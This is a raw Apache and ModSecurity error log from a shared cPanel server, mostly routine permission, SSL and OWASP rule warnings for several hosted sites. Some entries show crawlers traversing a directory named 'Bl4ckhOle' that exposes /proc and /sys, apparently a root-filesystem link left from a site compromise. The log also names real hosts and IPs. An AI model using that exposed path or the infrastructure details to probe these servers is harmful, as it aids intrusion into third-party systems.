[Fri Jul 17 10:14:34.979807 2026] [security2:error] [pid 2063442:tid 2063442] [client 162.55.236.162:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almzMqTW5eFi1WFCzw0YOAAAABc"]
[Fri Jul 17 10:14:34.979838 2026] [security2:error] [pid 2063442:tid 2063442] [client 162.55.236.162:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almzMqTW5eFi1WFCzw0YOAAAABc"]
[Fri Jul 17 10:14:35.474492 2026] [ssl:error] [pid 2068138:tid 2068138] (70014)End of file found: [client 66.85.158.91:54346] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:35.580329 2026] [security2:error] [pid 2063895:tid 2063895] [client 80.241.220.98:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-global": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-includes/class-wp-classic-to-block-menu-converter.php"] [unique_id "almzMhf3V7HXByUCfDSzKAAAABY"], referer: binance.com
[Fri Jul 17 10:14:35.580372 2026] [security2:error] [pid 2063895:tid 2063895] [client 80.241.220.98:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-ip": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-includes/class-wp-classic-to-block-menu-converter.php"] [unique_id "almzMhf3V7HXByUCfDSzKAAAABY"], referer: binance.com
[Fri Jul 17 10:14:36.012133 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:54360] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:36.309257 2026] [mime:warn] [pid 2070774:tid 2070774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:37.663073 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:54436] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:37.859631 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:54444] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:38.862346 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:54476] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:39.498524 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:54500] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:40.694470 2026] [ssl:error] [pid 2068143:tid 2068143] (70014)End of file found: [client 66.85.158.91:54554] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:40.922136 2026] [autoindex:error] [pid 2065297:tid 2065297] [client 4.194.24.143:0] AH01276: Cannot serve directory /home/stravel1/public_html/.well-known/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:14:41.806196 2026] [mime:warn] [pid 2070772:tid 2070772] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:41.900197 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:41.904532 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:41.989391 2026] [autoindex:error] [pid 2063463:tid 2063463] [client 4.194.24.143:0] AH01276: Cannot serve directory /home/stravel1/public_html/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:14:42.589516 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.230:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "v-deploy.com"] [uri "/wp-content/uploads/2020/07/dJI-mavic-pro-review-and-features-696x394-1.jpg"] [unique_id "almzOol9vhFBGA6D8l-HrwAAAAw"]
[Fri Jul 17 10:14:42.589858 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.230:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "v-deploy.com"] [uri "/wp-content/uploads/2020/07/dJI-mavic-pro-review-and-features-696x394-1.jpg"] [unique_id "almzOol9vhFBGA6D8l-HrwAAAAw"]
[Fri Jul 17 10:14:42.649835 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.230:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "v-deploy.com"] [uri "/wp-content/uploads/2020/07/dJI-mavic-pro-review-and-features-696x394-1.jpg"] [unique_id "almzOol9vhFBGA6D8l-HrwAAAAw"]
[Fri Jul 17 10:14:43.851731 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:53534] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:48.158850 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:49.866559 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:50.516750 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:53872] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:51.223893 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:51.266868 2026] [mime:warn] [pid 2070772:tid 2070772] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:52.651350 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:52.830412 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:54.668350 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:55.135201 2026] [ssl:error] [pid 2070774:tid 2070774] (70014)End of file found: [client 66.85.158.91:49438] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:56.958020 2026] [ssl:error] [pid 2070772:tid 2070772] (70014)End of file found: [client 66.85.158.91:49520] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:58.110176 2026] [core:error] [pid 2063883:tid 2063883] (13)Permission denied: [client 47.82.54.167:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/dev/char/189:0/1-1/subsystem/uevent
[Fri Jul 17 10:14:58.654801 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:49594] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:15:00.115943 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:49632] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:15:01.477368 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:04.114118 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:46628] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:15:04.977195 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:05.110532 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:46702] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:15:07.705041 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:46884] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:15:07.798555 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:08.015534 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:08.275534 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:08.285486 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:19.782869 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:57276] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:15:19.822551 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:20.209550 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:57312] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:15:22.217068 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:51630] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:15:25.434191 2026] [ssl:error] [pid 2068143:tid 2068143] (70014)End of file found: [client 66.85.158.91:51768] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:15:25.686119 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:26.602464 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almzZVCBpfuYyhJ140vgtwAAAB4"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1102&page_105=1241
[Fri Jul 17 10:15:26.602507 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almzZVCBpfuYyhJ140vgtwAAAB4"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1102&page_105=1241
[Fri Jul 17 10:15:29.509570 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:51944] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:15:31.329809 2026] [ssl:error] [pid 2070774:tid 2070774] (70014)End of file found: [client 66.85.158.91:43208] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:15:31.916820 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:32.265766 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:35.808317 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:36.917154 2026] [security2:error] [pid 2063441:tid 2063441] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almzcNKHXJzatLSGO6IuTgAAABU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1106&page_105=1238
[Fri Jul 17 10:15:36.917279 2026] [security2:error] [pid 2063441:tid 2063441] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almzcNKHXJzatLSGO6IuTgAAABU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1106&page_105=1238
[Fri Jul 17 10:15:37.359963 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almzcZBVIrrUwtEhdaffCwAAAAU"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:15:37.360009 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almzcZBVIrrUwtEhdaffCwAAAAU"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:15:38.916246 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:39.126302 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:39.608491 2026] [security2:error] [pid 2063889:tid 2063889] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_death_analysis/death_analysis_from_03.07.2021_to_09.07.2021_2.pdf"] [unique_id "almzc-m5CUZD8nfUE72w9QAAAAo"]
[Fri Jul 17 10:15:39.608886 2026] [security2:error] [pid 2063889:tid 2063889] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_death_analysis/death_analysis_from_03.07.2021_to_09.07.2021_2.pdf"] [unique_id "almzc-m5CUZD8nfUE72w9QAAAAo"]
[Fri Jul 17 10:15:39.609218 2026] [security2:error] [pid 2063889:tid 2063889] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_death_analysis/death_analysis_from_03.07.2021_to_09.07.2021_2.pdf"] [unique_id "almzc-m5CUZD8nfUE72w9QAAAAo"]
[Fri Jul 17 10:15:40.420206 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_death_analysis/death_analysis_from_14.08.2021_to_20.08.2021.pdf"] [unique_id "almzdE_0b3nWp8txtSDLOAAAAA0"]
[Fri Jul 17 10:15:40.420558 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_death_analysis/death_analysis_from_14.08.2021_to_20.08.2021.pdf"] [unique_id "almzdE_0b3nWp8txtSDLOAAAAA0"]
[Fri Jul 17 10:15:40.420867 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_death_analysis/death_analysis_from_14.08.2021_to_20.08.2021.pdf"] [unique_id "almzdE_0b3nWp8txtSDLOAAAAA0"]
[Fri Jul 17 10:15:41.360517 2026] [security2:error] [pid 2063883:tid 2063883] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_death_analysis/death_analysis_from_26.02.2022_to_04.03.2022.pdf"] [unique_id "almzdVWVGD3EZW05fn31wQAAAAI"]
[Fri Jul 17 10:15:41.360900 2026] [security2:error] [pid 2063883:tid 2063883] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_death_analysis/death_analysis_from_26.02.2022_to_04.03.2022.pdf"] [unique_id "almzdVWVGD3EZW05fn31wQAAAAI"]
[Fri Jul 17 10:15:41.361208 2026] [security2:error] [pid 2063883:tid 2063883] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_death_analysis/death_analysis_from_26.02.2022_to_04.03.2022.pdf"] [unique_id "almzdVWVGD3EZW05fn31wQAAAAI"]
[Fri Jul 17 10:15:41.874830 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:43.233526 2026] [security2:error] [pid 2063441:tid 2063441] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almzd9KHXJzatLSGO6IuUQAAABU"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:15:43.233557 2026] [security2:error] [pid 2063441:tid 2063441] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almzd9KHXJzatLSGO6IuUQAAABU"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:15:46.083937 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 57.141.18.29:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory124/node0/memory43/subsystem/devices/memory61/node0/memory84/subsystem/uevent
[Fri Jul 17 10:15:47.934205 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:48.947467 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:48.957526 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:49.245712 2026] [security2:error] [pid 2068138:tid 2068138] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almzfA4g1d3E329BkvVQDwAAAAE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1041&page_105=2344
[Fri Jul 17 10:15:49.245742 2026] [security2:error] [pid 2068138:tid 2068138] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almzfA4g1d3E329BkvVQDwAAAAE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1041&page_105=2344
[Fri Jul 17 10:15:50.170569 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 57.141.18.99:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory63/node0/memory139/node0/memory58/subsystem/uevent
[Fri Jul 17 10:15:53.373527 2026] [ssl:error] [pid 2070772:tid 2070772] (70014)End of file found: [client 66.85.158.91:57172] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:15:53.967311 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:57210] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:15:55.057851 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:55.082987 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:55.448362 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:57282] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:15:55.548940 2026] [mime:warn] [pid 2068138:tid 2068138] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:56.518646 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:56.765809 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:15:56.767470 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:15:57.362757 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:57364] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:15:59.223380 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:16:00.646657 2026] [security2:error] [pid 2063463:tid 2063463] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almzh_72foAPmCnen3SsswAAABs"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1046&page_105=2340
[Fri Jul 17 10:16:00.646725 2026] [security2:error] [pid 2063463:tid 2063463] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almzh_72foAPmCnen3SsswAAABs"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1046&page_105=2340
[Fri Jul 17 10:16:01.846767 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:52136] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:16:03.418774 2026] [security2:error] [pid 2063889:tid 2063889] [client 173.239.218.184:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/jrdclk-global": Permission denied [hostname "research.jrdc.lk"] [uri "/index.php"] [unique_id "almzi-m5CUZD8nfUE72xAAAAAAo"]
